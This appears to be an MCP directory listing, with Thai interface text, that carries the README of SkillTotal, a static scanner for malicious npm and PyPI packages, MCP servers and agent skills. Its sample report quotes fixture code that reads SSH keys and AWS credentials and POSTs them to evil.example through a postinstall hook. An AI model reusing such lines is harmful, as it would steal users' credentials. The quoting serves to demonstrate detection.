Power your agent
คำสั่งของผู้เผยแพร่เอง ไม่ใช่เอนด์พอยต์ของ PlugMCP
Host a copy with our keys and logs.
uvx skilltotal==1.0.0Claude Code ไม่มีลิงก์ติดตั้งสำหรับคำสั่งแบบโลคัล ให้คัดลอกคำสั่งด้านล่างแล้วรันในเทอร์มินัล
claude mcp add pezhik-skilltotal -- uvx skilltotal==1.0.0รันในเทอร์มินัล
{ "mcpServers": { "pezhik-skilltotal": { "command": "uvx", "args": [ "skilltotal==1.0.0" ] } }}claude_desktop_config.json
URL แบบรีโมตหรือคำสั่งบนเครื่องของคุณ? การติดตั้งสองแบบต่างกันอย่างไร
รันบน PlugMCP
A new server you create. It is not this listing's official endpoint. Use the publisher install when you want their URL and their credentials.
เปิดจากผู้เผยแพร่
pipx install skilltotal
skilltotal scan npm:express # or pypi:name, a git URL, a folder, an archive
Check what your coding agent installs. Inside Claude Code:
/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins
Gate pull requests. Add one step to a workflow ():
Static security scanner for npm/PyPI packages, MCP servers, agent skills and repos. Runs locally, never runs the code, no LLM. CLI, Claude Code plugin, Action.
- uses: pezhik/[email protected]
with: { source: ., fail-on: high }
To try it without installing anything, www.skilltotal.ai runs the same engine.
It scans npm and PyPI packages, MCP servers, agent skills and plugins, git repositories (or one folder of them), local folders, archives and single files, and looks for:
It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and
data flows such as a credential read followed by network egress. skilltotal rules list prints
every rule; coverage by component type and accuracy notes are in docs/detection.md.
$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source : tests/fixtures/malicious_npm_pkg
Verdict : HIGH - High risk - review before installing
Risk : HIGH (score 70/100)
Findings (3 risk, 4 capability, not scored):
[CRITICAL] ST-COMBO-EXFIL Sensitive-data access combined with network egress
Evidence:
- index.js:7
const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
- steal.js:3
const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
- index.js:13
fetch('http://evil.example/collect', { method: 'POST', body: key });
... and 1 more (all of them in --json)
[HIGH] ST-INSTALL-DROPPER Install-time hook paired with a dropper payload
Evidence:
- package.json:6
"postinstall": "node steal.js"
...
Shortened. The full report also prints descriptions, recommendations, capabilities and review items.
npx,
npm install, pip install or claude mcp add command before the agent runs it.SkillTotal fetches the component (a shallow git clone or the package archive), reads every file
once and runs its scanners over them. It correlates the findings (a credential read plus network
egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the
component's own files, never at the user, company, environment, deployment or runtime context.
Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be
tied to evidence goes to needs_review, which never affects the score. A capability such as shell
or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.
Before an install command runs, the plugin scans each package it names, locally and with the same
engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar
installs, claude mcp add (and the Codex and Gemini equivalents) and npx skills add, including
when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first
(skilltotal --version must work where you start Claude Code), then run the three commands from
Quick start.
Each install command gets a console line saying what was checked, or what was not and why. In CI
(CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer,
so anything it would ask about is denied. Installs it could not check are denied too, unless
SKILLTOTAL_ALLOW_UNCHECKED lists their kind.
It does not check the dependencies of the named package, installs that name no package (npm ci,
pip install -r, uv sync; the console says so), scripts on disk, shell-profile aliases or
functions, downloaded scripts (curl ... | bash, reported as not checked), repositories fetched
with git clone, or code already running on your account (it can rewrite the verdict cache or the
CLI). The plugin is a static check, not a sandbox: run the agent in a container for code you don't
trust. It also adds a /skilltotal:scan <target> command and registers the SkillTotal MCP server.
Recognized commands, settings, cache, timing, team rollout
and troubleshooting are in docs/plugin.md.
Run SkillTotal in CI and see the findings in your repository's Security → Code scanning tab.
# .github/workflows/skilltotal.yml
name: SkillTotal
on: [push, pull_request]
permissions:
contents: read
security-events: write # required to upload SARIF to Code Scanning
actions: read # required for the SARIF upload in a private repository
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- uses: pezhik/[email protected]
with:
source: . # a path, a git URL, or an npm:/pypi:<name> spec
fail-on: high # fail on a high/critical risk finding (or 'none')
A malicious indicator fails the job at any severity; a capability on its own, such as a shell call
or network access, never does. The log names the gate that tripped and the finding behind it.
Findings are uploaded as SARIF. A private repository has Code Scanning only with GitHub Advanced
Security; without it, set upload-sarif: 'false'. comment-on-pr: 'true' (with
pull-requests: write) keeps one summary comment up to date. The repository's .skilltotal.toml
is applied, so put it under CODEOWNERS (Configuration).
docs/ci.md covers every input and
output, scheduled re-checks of a third-party package, pre-commit, GitLab CI, Jenkins and rolling
out on an existing repository. Anywhere else Python 3.10+ runs, install a pinned release and gate
on the exit code (0 passed, 2 a gate tripped, 1 the scan could not run):
pip install skilltotal==0.85.0 # in a virtual environment outside the checkout
skilltotal scan . --fail-on high
skilltotal scan ./path/to/component # a folder, archive, file, git URL, npm:name or pypi:name
skilltotal scan ./component --json # JSON to stdout
skilltotal scan ./component --sarif --output report.sarif
skilltotal scan ./component --fail-on high # exit 2 on a high/critical risk finding
skilltotal scan ./component --write-baseline .skilltotal-baseline.json
skilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high
skilltotal diff npm:[email protected] npm:[email protected] --fail-on-new high
skilltotal guard npm:some-mcp-server # exit 2 if it should not be installed
skilltotal guard --installed # check the MCP servers, plugins and skills your agents use
skilltotal inventory --sbom # AI-BOM: CycloneDX 1.6 JSON of your agent stack
skilltotal rules list
scan on its own exits 0 whatever it finds, even for a malicious verdict. In a script, use
skilltotal guard or a gate (--fail-on) and check the exit code. Every flag, exit code and gate
is described in the CLI reference.
skilltotal mcp runs the engine as a stdio MCP server so your agent can check a component before
installing it. The Claude Code plugin already registers it. In Claude Code without the plugin:
claude mcp add skilltotal -- skilltotal mcp
For Claude Desktop, Cursor, Windsurf or any client that reads mcpServers:
{ "mcpServers": { "skilltotal": { "command": "skilltotal", "args": ["mcp"] } } }
It has three read-only tools: scan_component (a local path, git URL, npm: or pypi: source),
diff_components (what changed between two versions) and list_rules. VS Code, the uvx/npx
forms and the path rules are in docs/mcp-server.md.
Requires Python 3.10+, with zero runtime dependencies. git is needed only for scanning
remote URLs and for scan --staged. Scanning inside a directory you don't trust and other install
details are in docs/cli.md.
pipx install skilltotal # recommended for the CLI; then `pipx ensurepath` if it is not found
pip install skilltotal # into a virtual environment, or to use it as a library
With npx (it needs uv, pipx, or Python 3.11+ with skilltotal installed), name the release with
--package so npx does not run a skilltotal from the scanned repository's node_modules/.bin:
npx -y [email protected] -- skilltotal scan https://github.com/owner/repo
node_modules/, vendor/ and virtual environments are skipped.Not everything was analyzed: ...), the verdict reads "Partially analyzed", and
--fail-on-unanalyzed fails on it. That covers files over 2 MiB, minified bundles, code in
languages not analyzed for behavior, and compiled code shipped without its source (a .pyc,
.pyo or .class with no .py or .java of the same name beside it).For how the four bypasses published in June 2026 fare against this engine, see What we catch. The full list is in docs/detection.md.
Commit a .skilltotal.toml instead of repeating flags: gate levels, excludes, ignored rules, a
baseline file and per-rule block / warn / ignore policy. To accept a single finding, add an
inline skilltotal:ignore[ST-ID] comment. Limits and registry mirrors are set with SKILLTOTAL_*
environment variables. In CI the scanned repository's own config and markers apply, so put
.skilltotal.toml and the baseline under CODEOWNERS with branch protection (docs/configuration.md).
A scan of a local folder, archive or file makes no network request. SkillTotal goes online only for:
git clone --depth 1; for github.com, GitHub REST API calls (api.github.com)
first, to check the size of what would be clonednpm: / pypi: sources: package metadata and archive from registry.npmjs.org or PyPI
(pypi.org and its file host), or from your mirror (SKILLTOTAL_NPM_REGISTRY, SKILLTOTAL_PYPI_INDEX)--provenance: the package's registry metadatainventory, guard --installed, the Claude Code plugin and the MCP server: the same registries and git hosts, for the packages they checkIt sends no telemetry, needs no account and makes no LLM call.
This engine (the analysis, all detection rules and the CLI) is open source and complete on its own, free to run locally or in CI. Paid features are planned for SkillTotal Cloud as server-side services on top of it; their code is not part of this repository (docs/open-core.md).
Development setup: pip install -e ".[dev]", then pytest. Detection rules are
added corpus-first (docs/contributing-rules.md).
Report false positives as issues; they are fixed in the open.
Security issues: SECURITY.md.
Apache-2.0, see also NOTICE.
Static security scanner for npm/PyPI packages, MCP servers, agent skills and repos. Runs locally, never runs the code, no LLM. CLI, Claude Code plugin, Action.
{ "mcpServers": { "pezhik-skilltotal": { "command": "uvx", "args": [ "skilltotal==1.0.0" ] } }}เครื่องมือ
ยังไม่มีรายการเครื่องมือ เซิร์ฟเวอร์แบบรีโมตจะได้รายการหลังการตรวจสอบสถานะครั้งแรก
FAQ
คัดลอกคอนฟิก stdio สำหรับ Cursor, Claude Desktop, Claude Code หรือ VS Code ได้ในหน้านี้ คอนฟิกนี้ใช้การติดตั้งของผู้เผยแพร่ ไม่ใช่พร็อกซีของ PlugMCP
ระเบียนนี้ไม่ได้ระบุตัวแปรสภาพแวดล้อมที่จำเป็น
Skilltotal ทำงานแบบโลคัลผ่าน stdio
ตรวจสอบล่าสุดเมื่อ 2026-10-28 Static security scanner for npm/PyPI packages, MCP servers, agent skills and repos. Runs locally, never runs the code, no LLM. CLI, Claude Code plugin, Action.